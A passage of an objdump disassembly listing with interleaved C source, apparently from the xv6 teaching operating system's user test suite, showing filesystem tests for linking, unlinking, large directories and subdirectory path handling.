2b11: 75 16 jne 2b29 <linkunlink+0xec>
link("cat", "x");
2b13: c7 44 24 04 aa 57 00 movl $0x57aa,0x4(%esp)
2b1a: 00
2b1b: c7 04 24 54 5c 00 00 movl $0x5c54,(%esp)
2b22: e8 51 21 00 00 call 4c78 <link>
2b27: eb 0c jmp 2b35 <linkunlink+0xf8>
} else {
unlink("x");
2b29: c7 04 24 aa 57 00 00 movl $0x57aa,(%esp)
2b30: e8 33 21 00 00 call 4c68 <unlink>
printf(1, "fork failed\n");
exit();
}
unsigned int x = (pid ? 1 : 97);
for(i = 0; i < 100; i++){
2b35: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2b39: 83 7d f4 63 cmpl $0x63,-0xc(%ebp)
2b3d: 0f 8e 68 ff ff ff jle 2aab <linkunlink+0x6e>
} else {
unlink("x");
}
}
if(pid)
2b43: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2b47: 74 07 je 2b50 <linkunlink+0x113>
wait();
2b49: e8 d2 20 00 00 call 4c20 <wait>
2b4e: eb 05 jmp 2b55 <linkunlink+0x118>
else
exit();
2b50: e8 c3 20 00 00 call 4c18 <exit>
printf(1, "linkunlink ok\n");
2b55: c7 44 24 04 58 5c 00 movl $0x5c58,0x4(%esp)
2b5c: 00
2b5d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b64: e8 57 22 00 00 call 4dc0 <printf>
}
2b69: c9 leave
2b6a: c3 ret
00002b6b <bigdir>:
// directory that uses indirect blocks
void
bigdir(void)
{
2b6b: 55 push %ebp
2b6c: 89 e5 mov %esp,%ebp
2b6e: 83 ec 38 sub $0x38,%esp
int i, fd;
char name[10];
printf(1, "bigdir test\n");
2b71: c7 44 24 04 67 5c 00 movl $0x5c67,0x4(%esp)
2b78: 00
2b79: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b80: e8 3b 22 00 00 call 4dc0 <printf>
unlink("bd");
2b85: c7 04 24 74 5c 00 00 movl $0x5c74,(%esp)
2b8c: e8 d7 20 00 00 call 4c68 <unlink>
fd = open("bd", O_CREATE);
2b91: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2b98: 00
2b99: c7 04 24 74 5c 00 00 movl $0x5c74,(%esp)
2ba0: e8 b3 20 00 00 call 4c58 <open>
2ba5: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0){
2ba8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2bac: 79 19 jns 2bc7 <bigdir+0x5c>
printf(1, "bigdir create failed\n");
2bae: c7 44 24 04 77 5c 00 movl $0x5c77,0x4(%esp)
2bb5: 00
2bb6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2bbd: e8 fe 21 00 00 call 4dc0 <printf>
exit();
2bc2: e8 51 20 00 00 call 4c18 <exit>
}
close(fd);
2bc7: 8b 45 f0 mov -0x10(%ebp),%eax
2bca: 89 04 24 mov %eax,(%esp)
2bcd: e8 6e 20 00 00 call 4c40 <close>
for(i = 0; i < 500; i++){
2bd2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2bd9: eb 64 jmp 2c3f <bigdir+0xd4>
name[0] = 'x';
2bdb: c6 45 e6 78 movb $0x78,-0x1a(%ebp)
name[1] = '0' + (i / 64);
2bdf: 8b 45 f4 mov -0xc(%ebp),%eax
2be2: 8d 50 3f lea 0x3f(%eax),%edx
2be5: 85 c0 test %eax,%eax
2be7: 0f 48 c2 cmovs %edx,%eax
2bea: c1 f8 06 sar $0x6,%eax
2bed: 83 c0 30 add $0x30,%eax
2bf0: 88 45 e7 mov %al,-0x19(%ebp)
name[2] = '0' + (i % 64);
2bf3: 8b 45 f4 mov -0xc(%ebp),%eax
2bf6: 99 cltd
2bf7: c1 ea 1a shr $0x1a,%edx
2bfa: 01 d0 add %edx,%eax
2bfc: 83 e0 3f and $0x3f,%eax
2bff: 29 d0 sub %edx,%eax
2c01: 83 c0 30 add $0x30,%eax
2c04: 88 45 e8 mov %al,-0x18(%ebp)
name[3] = '\0';
2c07: c6 45 e9 00 movb $0x0,-0x17(%ebp)
if(link("bd", name) != 0){
2c0b: 8d 45 e6 lea -0x1a(%ebp),%eax
2c0e: 89 44 24 04 mov %eax,0x4(%esp)
2c12: c7 04 24 74 5c 00 00 movl $0x5c74,(%esp)
2c19: e8 5a 20 00 00 call 4c78 <link>
2c1e: 85 c0 test %eax,%eax
2c20: 74 19 je 2c3b <bigdir+0xd0>
printf(1, "bigdir link failed\n");
2c22: c7 44 24 04 8d 5c 00 movl $0x5c8d,0x4(%esp)
2c29: 00
2c2a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c31: e8 8a 21 00 00 call 4dc0 <printf>
exit();
2c36: e8 dd 1f 00 00 call 4c18 <exit>
printf(1, "bigdir create failed\n");
exit();
}
close(fd);
for(i = 0; i < 500; i++){
2c3b: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2c3f: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp)
2c46: 7e 93 jle 2bdb <bigdir+0x70>
printf(1, "bigdir link failed\n");
exit();
}
}
unlink("bd");
2c48: c7 04 24 74 5c 00 00 movl $0x5c74,(%esp)
2c4f: e8 14 20 00 00 call 4c68 <unlink>
for(i = 0; i < 500; i++){
2c54: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2c5b: eb 5c jmp 2cb9 <bigdir+0x14e>
name[0] = 'x';
2c5d: c6 45 e6 78 movb $0x78,-0x1a(%ebp)
name[1] = '0' + (i / 64);
2c61: 8b 45 f4 mov -0xc(%ebp),%eax
2c64: 8d 50 3f lea 0x3f(%eax),%edx
2c67: 85 c0 test %eax,%eax
2c69: 0f 48 c2 cmovs %edx,%eax
2c6c: c1 f8 06 sar $0x6,%eax
2c6f: 83 c0 30 add $0x30,%eax
2c72: 88 45 e7 mov %al,-0x19(%ebp)
name[2] = '0' + (i % 64);
2c75: 8b 45 f4 mov -0xc(%ebp),%eax
2c78: 99 cltd
2c79: c1 ea 1a shr $0x1a,%edx
2c7c: 01 d0 add %edx,%eax
2c7e: 83 e0 3f and $0x3f,%eax
2c81: 29 d0 sub %edx,%eax
2c83: 83 c0 30 add $0x30,%eax
2c86: 88 45 e8 mov %al,-0x18(%ebp)
name[3] = '\0';
2c89: c6 45 e9 00 movb $0x0,-0x17(%ebp)
if(unlink(name) != 0){
2c8d: 8d 45 e6 lea -0x1a(%ebp),%eax
2c90: 89 04 24 mov %eax,(%esp)
2c93: e8 d0 1f 00 00 call 4c68 <unlink>
2c98: 85 c0 test %eax,%eax
2c9a: 74 19 je 2cb5 <bigdir+0x14a>
printf(1, "bigdir unlink failed");
2c9c: c7 44 24 04 a1 5c 00 movl $0x5ca1,0x4(%esp)
2ca3: 00
2ca4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2cab: e8 10 21 00 00 call 4dc0 <printf>
exit();
2cb0: e8 63 1f 00 00 call 4c18 <exit>
exit();
}
}
unlink("bd");
for(i = 0; i < 500; i++){
2cb5: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2cb9: 81 7d f4 f3 01 00 00 cmpl $0x1f3,-0xc(%ebp)
2cc0: 7e 9b jle 2c5d <bigdir+0xf2>
printf(1, "bigdir unlink failed");
exit();
}
}
printf(1, "bigdir ok\n");
2cc2: c7 44 24 04 b6 5c 00 movl $0x5cb6,0x4(%esp)
2cc9: 00
2cca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2cd1: e8 ea 20 00 00 call 4dc0 <printf>
}
2cd6: c9 leave
2cd7: c3 ret
00002cd8 <subdir>:
void
subdir(void)
{
2cd8: 55 push %ebp
2cd9: 89 e5 mov %esp,%ebp
2cdb: 83 ec 28 sub $0x28,%esp
int fd, cc;
printf(1, "subdir test\n");
2cde: c7 44 24 04 c1 5c 00 movl $0x5cc1,0x4(%esp)
2ce5: 00
2ce6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ced: e8 ce 20 00 00 call 4dc0 <printf>
unlink("ff");
2cf2: c7 04 24 ce 5c 00 00 movl $0x5cce,(%esp)
2cf9: e8 6a 1f 00 00 call 4c68 <unlink>
if(mkdir("dd") != 0){
2cfe: c7 04 24 d1 5c 00 00 movl $0x5cd1,(%esp)
2d05: e8 76 1f 00 00 call 4c80 <mkdir>
2d0a: 85 c0 test %eax,%eax
2d0c: 74 19 je 2d27 <subdir+0x4f>
printf(1, "subdir mkdir dd failed\n");
2d0e: c7 44 24 04 d4 5c 00 movl $0x5cd4,0x4(%esp)
2d15: 00
2d16: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2d1d: e8 9e 20 00 00 call 4dc0 <printf>
exit();
2d22: e8 f1 1e 00 00 call 4c18 <exit>
}
fd = open("dd/ff", O_CREATE | O_RDWR);
2d27: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2d2e: 00
2d2f: c7 04 24 ec 5c 00 00 movl $0x5cec,(%esp)
2d36: e8 1d 1f 00 00 call 4c58 <open>
2d3b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2d3e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2d42: 79 19 jns 2d5d <subdir+0x85>
printf(1, "create dd/ff failed\n");
2d44: c7 44 24 04 f2 5c 00 movl $0x5cf2,0x4(%esp)
2d4b: 00
2d4c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2d53: e8 68 20 00 00 call 4dc0 <printf>
exit();
2d58: e8 bb 1e 00 00 call 4c18 <exit>
}
write(fd, "ff", 2);
2d5d: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
2d64: 00
2d65: c7 44 24 04 ce 5c 00 movl $0x5cce,0x4(%esp)
2d6c: 00
2d6d: 8b 45 f4 mov -0xc(%ebp),%eax
2d70: 89 04 24 mov %eax,(%esp)
2d73: e8 c0 1e 00 00 call 4c38 <write>
close(fd);
2d78: 8b 45 f4 mov -0xc(%ebp),%eax
2d7b: 89 04 24 mov %eax,(%esp)
2d7e: e8 bd 1e 00 00 call 4c40 <close>
if(unlink("dd") >= 0){
2d83: c7 04 24 d1 5c 00 00 movl $0x5cd1,(%esp)
2d8a: e8 d9 1e 00 00 call 4c68 <unlink>
2d8f: 85 c0 test %eax,%eax
2d91: 78 19 js 2dac <subdir+0xd4>
printf(1, "unlink dd (non-empty dir) succeeded!\n");
2d93: c7 44 24 04 08 5d 00 movl $0x5d08,0x4(%esp)
2d9a: 00
2d9b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2da2: e8 19 20 00 00 call 4dc0 <printf>
exit();
2da7: e8 6c 1e 00 00 call 4c18 <exit>
}
if(mkdir("/dd/dd") != 0){
2dac: c7 04 24 2e 5d 00 00 movl $0x5d2e,(%esp)
2db3: e8 c8 1e 00 00 call 4c80 <mkdir>
2db8: 85 c0 test %eax,%eax
2dba: 74 19 je 2dd5 <subdir+0xfd>
printf(1, "subdir mkdir dd/dd failed\n");
2dbc: c7 44 24 04 35 5d 00 movl $0x5d35,0x4(%esp)
2dc3: 00
2dc4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2dcb: e8 f0 1f 00 00 call 4dc0 <printf>
exit();
2dd0: e8 43 1e 00 00 call 4c18 <exit>
}
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
2dd5: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2ddc: 00
2ddd: c7 04 24 50 5d 00 00 movl $0x5d50,(%esp)
2de4: e8 6f 1e 00 00 call 4c58 <open>
2de9: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2dec: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2df0: 79 19 jns 2e0b <subdir+0x133>
printf(1, "create dd/dd/ff failed\n");
2df2: c7 44 24 04 59 5d 00 movl $0x5d59,0x4(%esp)
2df9: 00
2dfa: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e01: e8 ba 1f 00 00 call 4dc0 <printf>
exit();
2e06: e8 0d 1e 00 00 call 4c18 <exit>
}
write(fd, "FF", 2);
2e0b: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
2e12: 00
2e13: c7 44 24 04 71 5d 00 movl $0x5d71,0x4(%esp)
2e1a: 00
2e1b: 8b 45 f4 mov -0xc(%ebp),%eax
2e1e: 89 04 24 mov %eax,(%esp)
2e21: e8 12 1e 00 00 call 4c38 <write>
close(fd);
2e26: 8b 45 f4 mov -0xc(%ebp),%eax
2e29: 89 04 24 mov %eax,(%esp)
2e2c: e8 0f 1e 00 00 call 4c40 <close>
fd = open("dd/dd/../ff", 0);
2e31: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2e38: 00
2e39: c7 04 24 74 5d 00 00 movl $0x5d74,(%esp)
2e40: e8 13 1e 00 00 call 4c58 <open>
2e45: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2e48: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2e4c: 79 19 jns 2e67 <subdir+0x18f>
printf(1, "open dd/dd/../ff failed\n");
2e4e: c7 44 24 04 80 5d 00 movl $0x5d80,0x4(%esp)
2e55: 00
2e56: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e5d: e8 5e 1f 00 00 call 4dc0 <printf>
exit();
2e62: e8 b1 1d 00 00 call 4c18 <exit>
}
cc = read(fd, buf, sizeof(buf));
2e67: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
2e6e: 00
2e6f: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
2e76: 00
2e77: 8b 45 f4 mov -0xc(%ebp),%eax
2e7a: 89 04 24 mov %eax,(%esp)
2e7d: e8 ae 1d 00 00 call 4c30 <read>
2e82: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc != 2 || buf[0] != 'f'){
2e85: 83 7d f0 02 cmpl $0x2,-0x10(%ebp)
2e89: 75 0b jne 2e96 <subdir+0x1be>
2e8b: 0f b6 05 c0 9a 00 00 movzbl 0x9ac0,%eax
2e92: 3c 66 cmp $0x66,%al
2e94: 74 19 je 2eaf <subdir+0x1d7>
printf(1, "dd/dd/../ff wrong content\n");
2e96: c7 44 24 04 99 5d 00 movl $0x5d99,0x4(%esp)
2e9d: 00
2e9e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ea5: e8 16 1f 00 00 call 4dc0 <printf>
exit();
2eaa: e8 69 1d 00 00 call 4c18 <exit>
}
close(fd);
2eaf: 8b 45 f4 mov -0xc(%ebp),%eax
2eb2: 89 04 24 mov %eax,(%esp)
2eb5: e8 86 1d 00 00 call 4c40 <close>
if(link("dd/dd/ff", "dd/dd/ffff") != 0){
2eba: c7 44 24 04 b4 5d 00 movl $0x5db4,0x4(%esp)
2ec1: 00
2ec2: c7 04 24 50 5d 00 00 movl $0x5d50,(%esp)
2ec9: e8 aa 1d 00 00 call 4c78 <link>
2ece: 85 c0 test %eax,%eax
2ed0: 74 19 je 2eeb <subdir+0x213>
printf(1, "link dd/dd/ff dd/dd/ffff failed\n");
2ed2: c7 44 24 04 c0 5d 00 movl $0x5dc0,0x4(%esp)
2ed9: 00
2eda: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ee1: e8 da 1e 00 00 call 4dc0 <printf>
exit();
2ee6: e8 2d 1d 00 00 call 4c18 <exit>
}
if(unlink("dd/dd/ff") != 0){
2eeb: c7 04 24 50 5d 00 00 movl $0x5d50,(%esp)
2ef2: e8 71 1d 00 00 call 4c68 <unlink>
2ef7: 85 c0 test %eax,%eax
2ef9: 74 19 je 2f14 <subdir+0x23c>
printf(1, "unlink dd/dd/ff failed\n");
2efb: c7 44 24 04 e1 5d 00 movl $0x5de1,0x4(%esp)
2f02: 00
2f03: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f0a: e8 b1 1e 00 00 call 4dc0 <printf>
exit();
2f0f: e8 04 1d 00 00 call 4c18 <exit>
}
if(open("dd/dd/ff", O_RDONLY) >= 0){
2f14: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2f1b: 00
2f1c: c7 04 24 50 5d 00 00 movl $0x5d50,(%esp)
2f23: e8 30 1d 00 00 call 4c58 <open>
2f28: 85 c0 test %eax,%eax
2f2a: 78 19 js 2f45 <subdir+0x26d>
printf(1, "open (unlinked) dd/dd/ff succeeded\n");
2f2c: c7 44 24 04 fc 5d 00 movl $0x5dfc,0x4(%esp)
2f33: 00
2f34: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f3b: e8 80 1e 00 00 call 4dc0 <printf>
exit();
2f40: e8 d3 1c 00 00 call 4c18 <exit>
}
if(chdir("dd") != 0){
2f45: c7 04 24 d1 5c 00 00 movl $0x5cd1,(%esp)
2f4c: e8 37 1d 00 00 call 4c88 <chdir>
2f51: 85 c0 test %eax,%eax
2f53: 74 19 je 2f6e <subdir+0x296>
printf(1, "chdir dd failed\n");
2f55: c7 44 24 04 20 5e 00 movl $0x5e20,0x4(%esp)
2f5c: 00
2f5d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f64: e8 57 1e 00 00 call 4dc0 <printf>
exit();
2f69: e8 aa 1c 00 00 call 4c18 <exit>
}
if(chdir("dd/../../dd") != 0){
2f6e: c7 04 24 31 5e 00 00 movl $0x5e31,(%esp)
2f75: e8 0e 1d 00 00 call 4c88 <chdir>
2f7a: 85 c0 test %eax,%eax
2f7c: 74 19 je 2f97 <subdir+0x2bf>
printf(1, "chdir dd/../../dd failed\n");
2f7e: c7 44 24 04 3d 5e 00 movl $0x5e3d,0x4(%esp)
2f85: 00
2f86: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f8d: e8 2e 1e 00 00 call 4dc0 <printf>
exit();
2f92: e8 81 1c 00 00 call 4c18 <exit>
}
if(chdir("dd/../../../dd") != 0){
2f97: c7 04 24 57 5e 00 00 movl $0x5e57,(%esp)
2f9e: e8 e5 1c 00 00 call 4c88 <chdir>
2fa3: 85 c0 test %eax,%eax
2fa5: 74 19 je 2fc0 <subdir+0x2e8>
printf(1, "chdir dd/../../dd failed\n");
2fa7: c7 44 24 04 3d 5e 00 movl $0x5e3d,0x4(%esp)
2fae: 00
2faf: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2fb6: e8 05 1e 00 00 call 4dc0 <printf>
exit();
2fbb: e8 58 1c 00 00 call 4c18 <exit>
}
if(chdir("./..") != 0){
2fc0: c7 04 24 66 5e 00 00 movl $0x5e66,(%esp)
2fc7: e8 bc 1c 00 00 call 4c88 <chdir>
2fcc: 85 c0 test %eax,%eax
2fce: 74 19 je 2fe9 <subdir+0x311>
printf(1, "chdir ./.. failed\n");
2fd0: c7 44 24 04 6b 5e 00 movl $0x5e6b,0x4(%esp)
2fd7: 00
2fd8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2fdf: e8 dc 1d 00 00 call 4dc0 <printf>
exit();
2fe4: e8 2f 1c 00 00 call 4c18 <exit>
}
fd = open("dd/dd/ffff", 0);
2fe9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2ff0: 00
2ff1: c7 04 24 b4 5d 00 00 movl $0x5db4,(%esp)
2ff8: e8 5b 1c 00 00 call 4c58 <open>
2ffd: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
3000: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3004: 79 19 jns 301f <subdir+0x347>
printf(1, "open dd/dd/ffff failed\n");
3006: c7 44 24 04 7e 5e 00 movl $0x5e7e,0x4(%esp)
300d: 00
300e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3015: e8 a6 1d 00 00 call 4dc0 <printf>
exit();
301a: e8 f9 1b 00 00 call 4c18 <exit>
}
if(read(fd, buf, sizeof(buf)) != 2){
301f: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
3026: 00
3027: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
302e: 00
302f: 8b 45 f4 mov -0xc(%ebp),%eax
3032: 89 04 24 mov %eax,(%esp)
3035: e8 f6 1b 00 00 call 4c30 <read>
303a: 83 f8 02 cmp $0x2,%eax
303d: 74 19 je 3058 <subdir+0x380>
printf(1, "read dd/dd/ffff wrong len\n");
303f: c7 44 24 04 96 5e 00 movl $0x5e96,0x4(%esp)
3046: 00
3047: c7 04 24 01 00 00 00 movl $0x1,(%esp)
304e: e8 6d 1d 00 00 call 4dc0 <printf>
exit();
3053: e8 c0 1b 00 00 call 4c18 <exit>
}
close(fd);
3058: 8b 45 f4 mov -0xc(%ebp),%eax
305b: 89 04 24 mov %eax,(%esp)
305e: e8 dd 1b 00 00 call 4c40 <close>
if(open("dd/dd/ff", O_RDONLY) >= 0){
3063: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
306a: 00
306b: c7 04 24 50 5d 00 00 movl $0x5d50,(%esp)
3072: e8 e1 1b 00 00 call 4c58 <open>
3077: 85 c0 test %eax,%eax
3079: 78 19 js 3094 <subdir+0x3bc>
printf(1, "open (unlinked) dd/dd/ff succeeded!\n");
307b: c7 44 24 04 b4 5e 00 movl $0x5eb4,0x4(%esp)
3082: 00
3083: c7 04 24 01 00 00 00 movl $0x1,(%esp)
308a: e8 31 1d 00 00 call 4dc0 <printf>
exit();
308f: e8 84 1b 00 00 call 4c18 <exit>
}
if(open("dd/ff/ff", O_CREATE|O_RDWR) >= 0){
3094: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
309b: 00
309c: c7 04 24 d9 5e 00 00 movl $0x5ed9,(%esp)
30a3: e8 b0 1b 00 00 call 4c58 <open>
30a8: 85 c0 test %eax,%eax
30aa: 78 19 js 30c5 <subdir+0x3ed>
printf(1, "create dd/ff/ff succeeded!\n");
30ac: c7 44 24 04 e2 5e 00 movl $0x5ee2,0x4(%esp)
30b3: 00
30b4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
30bb: e8 00 1d 00 00 call 4dc0 <printf>
exit();
30c0: e8 53 1b 00 00 call 4c18 <exit>
}
if(open("dd/xx/ff", O_CREATE|O_RDWR) >= 0){
30c5: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
30cc: 00
30cd: c7 04 24 fe 5e 00 00 movl $0x5efe,(%esp)
30d4: e8 7f 1b 00 00 call 4c58 <open>
30d9: 85 c0 test %eax,%eax
30db: 78 19 js 30f6 <subdir+0x41e>
printf(1, "create dd/xx/ff succeeded!\n");
30dd: c7 44 24 04 07 5f 00 movl $0x5f07,0x4(%esp)
30e4: 00
30e5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
30ec: e8 cf 1c 00 00 call 4dc0 <printf>
exit();
30f1: e8 22 1b 00 00 call 4c18 <exit>
}
if(open("dd", O_CREATE) >= 0){
30f6: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
30fd: 00
30fe: c7 04 24 d1 5c 00 00 movl $0x5cd1,(%esp)
3105: e8 4e 1b 00 00 call 4c58 <open>
310a: 85 c0 test %eax,%eax
310c: 78 19 js 3127 <subdir+0x44f>
printf(1, "create dd succeeded!\n");
310e: c7 44 24 04 23 5f 00 movl $0x5f23,0x4(%esp)
3115: 00
3116: c7 04 24 01 00 00 00 movl $0x1,(%esp)
311d: e8 9e 1c 00 00 call 4dc0 <printf>
exit();
3122: e8 f1 1a 00 00 call 4c18 <exit>
}
if(open("dd", O_RDWR) >= 0){
3127: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
312e: 00
312f: c7 04 24 d1 5c 00 00 movl $0x5cd1,(%esp)
3136: e8 1d 1b 00 00 call 4c58 <open>
313b: 85 c0 test %eax,%eax
313d: 78 19 js 3158 <subdir+0x480>
printf(1, "open dd rdwr succeeded!\n");
313f: c7 44 24 04 39 5f 00 movl $0x5f39,0x4(%esp)
3146: 00
3147: c7 04 24 01 00 00 00 movl $0x1,(%esp)
314e: e8 6d 1c 00 00 call 4dc0 <printf>
exit();
3153: e8 c0 1a 00 00 call 4c18 <exit>
}
if(open("dd", O_WRONLY) >= 0){
3158: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
315f: 00
3160: c7 04 24 d1 5c 00 00 movl $0x5cd1,(%esp)
3167: e8 ec 1a 00 00 call 4c58 <open>
316c: 85 c0 test %eax,%eax
316e: 78 19 js 3189 <subdir+0x4b1>
printf(1, "open dd wronly succeeded!\n");
3170: c7 44 24 04 52 5f 00 movl $0x5f52,0x4(%esp)
3177: 00
3178: c7 04 24 01 00 00 00 movl $0x1,(%esp)
317f: e8 3c 1c 00 00 call 4dc0 <printf>
exit();
3184: e8 8f 1a 00 00 call 4c18 <exit>
}
if(link("dd/ff/ff", "dd/dd/xx") == 0){
3189: c7 44 24 04 6d 5f 00 movl $0x5f6d,0x4(%esp)
3190: 00
3191: c7 04 24 d9 5e 00 00 movl $0x5ed9,(%esp)
3198: e8 db 1a 00 00 call 4c78 <link>
319d: 85 c0 test %eax,%eax
319f: 75 19 jne 31ba <subdir+0x4e2>
printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n");
31a1: c7 44 24 04 78 5f 00 movl $0x5f78,0x4(%esp)
31a8: 00
31a9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
31b0: e8 0b 1c 00 00 call 4dc0 <printf>
exit();
31b5: e8 5e 1a 00 00 call 4c18 <exit>
}
if(link("dd/xx/ff", "dd/dd/xx") == 0){
31ba: c7 44 24 04 6d 5f 00 movl $0x5f6d,0x4(%esp)
31c1: 00
31c2: c7 04 24 fe 5e 00 00 movl $0x5efe,(%esp)
31c9: e8 aa 1a 00 00 call 4c78 <link>
31ce: 85 c0 test %eax,%eax
31d0: 75 19 jne 31eb <subdir+0x513>
printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n");
31d2: c7 44 24 04 9c 5f 00 movl $0x5f9c,0x4(%esp)
31d9: 00
31da: c7 04 24 01 00 00 00 movl $0x1,(%esp)
31e1: e8 da 1b 00 00 call 4dc0 <printf>
exit();
31e6: e8 2d 1a 00 00 call 4c18 <exit>
}
if(link("dd/ff", "dd/dd/ffff") == 0){
31eb: c7 44 24 04 b4 5d 00 movl $0x5db4,0x4(%esp)
31f2: 00
31f3: c7 04 24 ec 5c 00 00 movl $0x5cec,(%esp)
31fa: e8 79 1a 00 00 call 4c78 <link>
31ff: 85 c0 test %eax,%eax
3201: 75 19 jne 321c <subdir+0x544>
printf(1, "link dd/ff dd/dd/ffff succeeded!\n");
3203: c7 44 24 04 c0 5f 00 movl $0x5fc0,0x4(%esp)
320a: 00
320b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3212: e8 a9 1b 00 00 call 4dc0 <printf>
exit();
3217: e8 fc 19 00 00 call 4c18 <exit>
}
if(mkdir("dd/ff/ff") == 0){
321c: c7 04 24 d9 5e 00 00 movl $0x5ed9,(%esp)
3223: e8 58 1a 00 00 call 4c80 <mkdir>
3228: 85 c0 test %eax,%eax
322a: 75 19 jne 3245 <subdir+0x56d>
printf(1, "mkdir dd/ff/ff succeeded!\n");
322c: c7 44 24 04 e2 5f 00 movl $0x5fe2,0x4(%esp)
3233: 00
3234: c7 04 24 01 00 00 00 movl $0x1,(%esp)
323b: e8 80 1b 00 00 call 4dc0 <printf>
exit();
3240: e8 d3 19 00 00 call 4c18 <exit>
}
if(mkdir("dd/xx/ff") == 0){
3245: c7 04 24 fe 5e 00 00 movl $0x5efe,(%esp)
324c: e8 2f 1a 00 00 call 4c80 <mkdir>
3251: 85 c0 test %eax,%eax
3253: 75 19 jne 326e <subdir+0x596>
printf(1, "mkdir dd/xx/ff succeeded!\n");
3255: c7 44 24 04 fd 5f 00 movl $0x5ffd,0x4(%esp)
325c: 00
325d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3264: e8 57 1b 00 00 call 4dc0 <printf>
exit();
3269: e8 aa 19 00 00 call 4c18 <exit>
}
if(mkdir("dd/dd/ffff") == 0){
326e: c7 04 24 b4 5d 00 00 movl $0x5db4,(%esp)
3275: e8 06 1a 00 00 call 4c80 <mkdir>
327a: 85 c0 test %eax,%eax
327c: 75 19 jne 3297 <subdir+0x5bf>
printf(1, "mkdir dd/dd/ffff succeeded!\n");
327e: c7 44 24 04 18 60 00 movl $0x6018,0x4(%esp)
3285: 00
3286: c7 04 24 01 00 00 00 movl $0x1,(%esp)
328d: e8 2e 1b 00 00 call 4dc0 <printf>
exit();
3292: e8 81 19 00 00 call 4c18 <exit>
}
if(unlink("dd/xx/ff") == 0){
3297: c7 04 24 fe 5e 00 00 movl $0x5efe,(%esp)
329e: e8 c5 19 00 00 call 4c68 <unlink>
32a3: 85 c0 test %eax,%eax
32a5: 75 19 jne 32c0 <subdir+0x5e8>
printf(1, "unlink dd/xx/ff succeeded!\n");
32a7: c7 44 24 04 35 60 00 movl $0x6035,0x4(%esp)
32ae: 00
32af: c7 04 24 01 00 00 00 movl $0x1,(%esp)
32b6: e8 05 1b 00 00 call 4dc0 <printf>
exit();
32bb: e8 58 19 00 00 call 4c18 <exit>
}
if(unlink("dd/ff/ff") == 0){
32c0: c7 04 24 d9 5e 00 00 movl $0x5ed9,(%esp)
32c7: e8 9c 19 00 00 call 4c68 <unlink>
32cc: 85 c0 test %eax,%eax
32ce: 75 19 jne 32e9 <subdir+0x611>
printf(1, "unlink dd/ff/ff succeeded!\n");
32d0: c7 44 24 04 51 60 00 movl $0x6051,0x4(%esp)
32d7: 00
32d8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
32df: e8 dc 1a 00 00 call 4dc0 <printf>
exit();
32e4: e8 2f 19 00 00 call 4c18 <exit>
}
if(chdir("dd/ff") == 0){
32e9: c7 04 24 ec 5c 00 00 movl $0x5cec,(%esp)
32f0: e8 93 19 00 00 call 4c88 <chdir>
32f5: 85 c0 test %eax,%eax
32f7: 75 19 jne 3312 <subdir+0x63a>
